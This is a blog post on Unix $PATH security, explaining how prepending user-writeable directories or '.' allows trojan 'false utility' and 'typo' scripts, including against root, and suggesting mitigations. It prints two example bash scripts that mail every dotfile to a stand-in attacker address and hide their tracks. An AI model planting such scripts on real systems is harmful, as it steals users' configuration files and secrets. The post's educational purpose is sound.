Programming, philosophy, pedaling.

The Problem with $PATH

Feb 27, 2015

Tags: programming, security

Of all of the commonalities across UNIX, UNIX clones, and UNIX-like environments, few are as well defined and regular as the shell $PATH variable.

For regular users, $PATH usually defaults to something along the lines of /bin:/usr/bin:/usr/local/bin, the three directories most commonly used to store everyday, system-wide programs. This is a fairly reasonable default, as most* systems do not allow unprivileged users to write to any of these directories.

Superusers usually have a similar $PATH, but with the /sbin, /usr/sbin, and /usr/local/sbin directories mixed in as necessesary. This is also fairly resonable, as the sbin directories are generally recognized as the standard location for administrative and system utilities (FHS 2.3 §13.15.1).

The problem arises when users configure their $PATH to something like this:

export PATH=.:$PATH

or like this:

export PATH=$HOME/bin:$HOME/scripts:$PATH

or any combination of the above. This is actually fairly common, and opens the user to two similar (but distinct) attacks: 'false' utilities and 'typo' scripts. These seemingly innocuous changes can even expose superuser accounts, especially the addition of the current working directory (".") to the $PATH.

"False" utility attacks

False utility attacks involve placing a script or program with a common name in one of the user-writeable paths, like /home/foo/bin, assuming "foo" is our user. For example, an attacker might save this script as /home/foo/bin/cat:

#!/usr/bin/env bash

for file in ~/.* ; do
    mail badguy@example.com < "$file"

cat $@

Because the user's $PATH specifies the home directory's bin before the (protected) standard directories, their shell will execute /home/foo/bin/cat instead of /bin/cat whenever cat is typed. Everything will look fine to "foo" because of the final cat $@ command but, in reality, all of his or her configuration files are being mailed to "badguy".

Note: In case it wasn't obvious, the choice of mail and the ~/.* glob is purely arbitrary. Any network utility can be used, including curl for posting to a malicious server or even telnet or netcat for raw transactions.

Luckily for us, this attack only works when user-writeable directories are prefixed onto the $PATH. By suffixing our directories to the $PATH like this:

export PATH=$PATH:$HOME/bin

we can avoid most variants of this attack. Unfortunately, not all users have the forethought to suffix their $PATH and administrators should therefore provide specific instructions and/or checks on $PATH modification.

The above change stops maliciously-named scripts and programs from taking precedence over the expected program, but it doesn't stop another major type of attack enabled by the $PATH, facilitated by user typos.

"Typo" utility attacks

Like the false utiity attack, the typo utility attack relies on the fact that all executable files present in the $PATH are executed if called, regardless of how unusual their names are (excluding, of course, NULL bytes and extra slashes).

This means that an attacker can write a script and save it with a utility's name, with a slight typo. For example, ls might become /home/foo/bin/sl , and more might become /home/foo/bin/mroe.

A malicious typo utility might look like this:

#!/usr/bin/env bash

# just like the previous example
for file in ~/.* ; do
    mail badguy@example.com < "$file"

command_not_found_handle $0 2>&1 | tail -n 1 1>&2

If this example looks familiar, it's because it is. It's exactly identical to the example above, except for in one feature: instead of executing the real utility afterwards to hide its existence, this script invokes command_not_found_handle with its own name.

command_not_found_handle is a bash function that simply reports the absence of its first argument on the $PATH. By explicitly passing $0 to it, trimming to the last line, and redirecting back to standard error, we can simulate the error message expected by the user after making a typo.

For example, if the above was saved as /home/foo/bin/mroe, a session might look like this:

$ mroe file.txt # oops!
mroe: command not found # mroe was found, but the user doesn't know that
$ # back to work

This has several benefits over the false utility approach:

On the other hand, if the user regularly checks their home bin directory, they're just as likely to discover and delete it as if it were a false utility.

The superuser and "." attacks

It is my firm opinion that the $PATH should never, ever be modified on a superuser or root account.

This is especially true for relative directories in the $PATH. As bad as they are in normal accounts, they are an entirely different nightmare on an account with superuser privileges. For example, imagine the following scenario:

Your friendly administrator has decided to add "." to their $PATH to make their job easier.

User baz, who doesn't like the admin, has put two files in a directory they own.

One is named ls, and contains malicious instructions and a command to delete itself. The other is a random file that baz has removed their own permissions from.

"Help!," says baz, "I can't delete this file!"

The administrator, as superuser, goes to baz's directory, runs ls to see the file, and deletes it.

So, what happened?

Well, because the administrator's $PATH contained ".", they ended up executing the local ls instead of the expected /bin/ls. The malicious script was well designed and ran its own commands, then the real ls, then deleted itself. As a result, baz now has access to the admin's account or whatever data they might have wanted, and there is no trace of the fake ls.

Cleaning up the mess

Fixing an account (or entire system) after this sort of attack can take anywhere from a few minutes to several days, especially if the administrator was the one attacked.

The order of these steps varies depending on the type and depth of the attack, but each should be covered while attempting to clean the account:


In summary, the $PATH is a tricky thing. It makes UNIX and Linux systems very powerful and easy to extend, but it also gives users an easy way to shoot themselves (and other users) in the foot.

Administrators of multi-user systems would be wise to automatically filter the $PATHs of their users, preventing user-owned directories from coming first. Similarly, admins might override the $PATH entirely and lock it to controlled directories.

For those who are less authoritarian or more confident in their users, a possible solution is to allow arbitrary changes to the $PATH so long as those changes do not include directories that would override programs on the standard $PATH and, optionally, restrict the working directory from the $PATH.

Hopefully this post has made you more aware of the potential dangers of modifying the $PATH. However, please don't go and delete your ~/bin folder, because that's not the point of the lesson. I use one, and they are convenient. Instead, you should make sure that you aren't exposing yourself to excessive risk, primarily by keeping your personal changes on the end of the $PATH and not the beginning. Furthermore, you should periodically check those directories for modifications or files to you did not add, especially after using custom installers for software.

Happy Hacking!

- William


* On OS X installations using Homebrew, Homebrew chowns the /usr/local directory to the installing user, and makes subdirectories like /usr/local/bin and /usr/local/lib writeable by that user. Homebrew claims that this is justified as an attack/accident reduction strategy against poorly designed or malicious build processes, which is a reasonable claim.

However, it is important to note that this essentially exposes what is normally a protected directory to malicious and typo 'utility' attacks, especially if /usr/local/bin is placed before /bin and /usr/bin on the $PATH.

This is potentially even more dangerous than working directory or $HOME-based utility injections, as an unsuspecting user is far more likely to trust a program in an "official" directory like /usr/local/bin.

sl is actually a humorous utility by Toyoda Masashi that demonstrates this flaw, albiet in a humorous fashion. You can either build it from source or install it from your package manager.